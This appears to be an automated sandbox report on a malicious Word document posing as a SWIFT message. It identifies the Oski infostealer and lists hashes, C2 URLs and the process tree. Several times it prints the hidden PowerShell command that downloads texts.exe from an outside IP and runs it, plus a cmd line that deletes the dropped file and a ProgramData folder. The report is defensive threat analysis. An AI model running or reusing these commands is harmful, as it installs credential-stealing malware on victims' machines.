Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7v20210410 -
submitted
03/08/2021, 09:09
Static task
static1
Behavioral task
behavioral1
Sample
swift_message_723-18-22-78_2-8-2021.doc
Resource
win7v20210410
Behavioral task
behavioral2
Sample
swift_message_723-18-22-78_2-8-2021.doc
Resource
win10v20210410
General
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Target
swift_message_723-18-22-78_2-8-2021.doc
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Size
229KB
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MD5
078124cc194f4e22437feffa2d8d5db4
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SHA1
ceb5ca93af0a7504d60cd42257d7f8dd6c22e0c8
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SHA256
77155eda52a852b224133d31047ff1aae08e915e1d7b664d326f2867647ef42d
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SHA512
13aca0b9b0403869946e98a36e64e68288bac7a9cfc542c9b985dd4fabd004a50f68d553258e7b4d963e887bac359f88e9fe38079b2c4a270cad75807625c3c0
Malware Config
Extracted
httP://185.230.160.197/yoyo/texts.exe
Extracted
oski
http://2.56.59.226/www/
Signatures
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Oski
Oski is an infostealer targeting browser data, crypto wallets.
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Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1568 772 powershell.exe 24 Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1676 772 powershell.exe 24 Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 956 772 powershell.exe 24 -
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
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suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
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Blocklisted process makes network request 1 IoCs
flow pid Process 6 1568 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 6 IoCs
pid Process 1336 texts.exe 436 texts.exe 396 texts.exe 1624 texts.exe 952 texts.exe 996 texts.exe -
Loads dropped DLL 16 IoCs
pid Process 1568 powershell.exe 1624 texts.exe 1624 texts.exe 1624 texts.exe 1624 texts.exe 1624 texts.exe 952 texts.exe 952 texts.exe 952 texts.exe 952 texts.exe 952 texts.exe 996 texts.exe 996 texts.exe 996 texts.exe 996 texts.exe 996 texts.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 436 set thread context of 1624 436 texts.exe 43 PID 1336 set thread context of 952 1336 texts.exe 44 PID 396 set thread context of 996 396 texts.exe 49 -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Office loads VBA resources, possible macro or embedded object present
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString texts.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString texts.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString texts.exe -
Kills process with taskkill 3 IoCs
pid Process 1696 taskkill.exe 1780 taskkill.exe 1712 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 772 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1568 powershell.exe 1568 powershell.exe 1676 powershell.exe 956 powershell.exe 956 powershell.exe 1676 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 1568 powershell.exe Token: SeDebugPrivilege 1676 powershell.exe Token: SeDebugPrivilege 956 powershell.exe Token: SeDebugPrivilege 1696 taskkill.exe Token: SeDebugPrivilege 1780 taskkill.exe Token: SeDebugPrivilege 1712 taskkill.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 772 WINWORD.EXE 772 WINWORD.EXE 772 WINWORD.EXE 772 WINWORD.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 772 wrote to memory of 1568 772 WINWORD.EXE 31 PID 772 wrote to memory of 1568 772 WINWORD.EXE 31 PID 772 wrote to memory of 1568 772 WINWORD.EXE 31 PID 772 wrote to memory of 1568 772 WINWORD.EXE 31 PID 772 wrote to memory of 1676 772 WINWORD.EXE 33 PID 772 wrote to memory of 1676 772 WINWORD.EXE 33 PID 772 wrote to memory of 1676 772 WINWORD.EXE 33 PID 772 wrote to memory of 1676 772 WINWORD.EXE 33 PID 772 wrote to memory of 956 772 WINWORD.EXE 35 PID 772 wrote to memory of 956 772 WINWORD.EXE 35 PID 772 wrote to memory of 956 772 WINWORD.EXE 35 PID 772 wrote to memory of 956 772 WINWORD.EXE 35 PID 1568 wrote to memory of 1336 1568 powershell.exe 37 PID 1568 wrote to memory of 1336 1568 powershell.exe 37 PID 1568 wrote to memory of 1336 1568 powershell.exe 37 PID 1568 wrote to memory of 1336 1568 powershell.exe 37 PID 956 wrote to memory of 436 956 powershell.exe 39 PID 956 wrote to memory of 436 956 powershell.exe 39 PID 956 wrote to memory of 436 956 powershell.exe 39 PID 956 wrote to memory of 436 956 powershell.exe 39 PID 1676 wrote to memory of 396 1676 powershell.exe 38 PID 1676 wrote to memory of 396 1676 powershell.exe 38 PID 1676 wrote to memory of 396 1676 powershell.exe 38 PID 1676 wrote to memory of 396 1676 powershell.exe 38 PID 772 wrote to memory of 1012 772 WINWORD.EXE 42 PID 772 wrote to memory of 1012 772 WINWORD.EXE 42 PID 772 wrote to memory of 1012 772 WINWORD.EXE 42 PID 772 wrote to memory of 1012 772 WINWORD.EXE 42 PID 436 wrote to memory of 1624 436 texts.exe 43 PID 436 wrote to memory of 1624 436 texts.exe 43 PID 436 wrote to memory of 1624 436 texts.exe 43 PID 436 wrote to memory of 1624 436 texts.exe 43 PID 436 wrote to memory of 1624 436 texts.exe 43 PID 436 wrote to memory of 1624 436 texts.exe 43 PID 436 wrote to memory of 1624 436 texts.exe 43 PID 436 wrote to memory of 1624 436 texts.exe 43 PID 436 wrote to memory of 1624 436 texts.exe 43 PID 436 wrote to memory of 1624 436 texts.exe 43 PID 1336 wrote to memory of 952 1336 texts.exe 44 PID 1336 wrote to memory of 952 1336 texts.exe 44 PID 1336 wrote to memory of 952 1336 texts.exe 44 PID 1336 wrote to memory of 952 1336 texts.exe 44 PID 1336 wrote to memory of 952 1336 texts.exe 44 PID 1336 wrote to memory of 952 1336 texts.exe 44 PID 1336 wrote to memory of 952 1336 texts.exe 44 PID 1336 wrote to memory of 952 1336 texts.exe 44 PID 1336 wrote to memory of 952 1336 texts.exe 44 PID 1336 wrote to memory of 952 1336 texts.exe 44 PID 1624 wrote to memory of 612 1624 texts.exe 45 PID 1624 wrote to memory of 612 1624 texts.exe 45 PID 1624 wrote to memory of 612 1624 texts.exe 45 PID 1624 wrote to memory of 612 1624 texts.exe 45 PID 612 wrote to memory of 1696 612 cmd.exe 47 PID 612 wrote to memory of 1696 612 cmd.exe 47 PID 612 wrote to memory of 1696 612 cmd.exe 47 PID 612 wrote to memory of 1696 612 cmd.exe 47 PID 396 wrote to memory of 996 396 texts.exe 49 PID 396 wrote to memory of 996 396 texts.exe 49 PID 396 wrote to memory of 996 396 texts.exe 49 PID 396 wrote to memory of 996 396 texts.exe 49 PID 396 wrote to memory of 996 396 texts.exe 49 PID 396 wrote to memory of 996 396 texts.exe 49 PID 396 wrote to memory of 996 396 texts.exe 49 PID 396 wrote to memory of 996 396 texts.exe 49
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\swift_message_723-18-22-78_2-8-2021.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:772 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/yoyo/texts.exe','C:\Users\Admin\AppData\Roaming\texts.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\texts.exe'"2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Users\Admin\AppData\Roaming\texts.exe"C:\Users\Admin\AppData\Roaming\texts.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Users\Admin\AppData\Roaming\texts.exe"C:\Users\Admin\AppData\Roaming\texts.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:952 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 952 & erase C:\Users\Admin\AppData\Roaming\texts.exe & RD /S /Q C:\\ProgramData\\278556420229576\\* & exit5⤵PID:1740
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C:\Windows\SysWOW64\taskkill.exetaskkill /pid 9526⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1780
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/yoyo/texts.exe','C:\Users\Admin\AppData\Roaming\texts.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\texts.exe'"2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Users\Admin\AppData\Roaming\texts.exe"C:\Users\Admin\AppData\Roaming\texts.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:396 -
C:\Users\Admin\AppData\Roaming\texts.exe"C:\Users\Admin\AppData\Roaming\texts.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:996 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 996 & erase C:\Users\Admin\AppData\Roaming\texts.exe & RD /S /Q C:\\ProgramData\\934532759575912\\* & exit5⤵PID:1336
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C:\Windows\SysWOW64\taskkill.exetaskkill /pid 9966⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1712
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/yoyo/texts.exe','C:\Users\Admin\AppData\Roaming\texts.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\texts.exe'"2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:956 -
C:\Users\Admin\AppData\Roaming\texts.exe"C:\Users\Admin\AppData\Roaming\texts.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:436 -
C:\Users\Admin\AppData\Roaming\texts.exe"C:\Users\Admin\AppData\Roaming\texts.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:1624 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 1624 & erase C:\Users\Admin\AppData\Roaming\texts.exe & RD /S /Q C:\\ProgramData\\946751437588490\\* & exit5⤵
- Suspicious use of WriteProcessMemory
PID:612 -
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 16246⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1696
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1012
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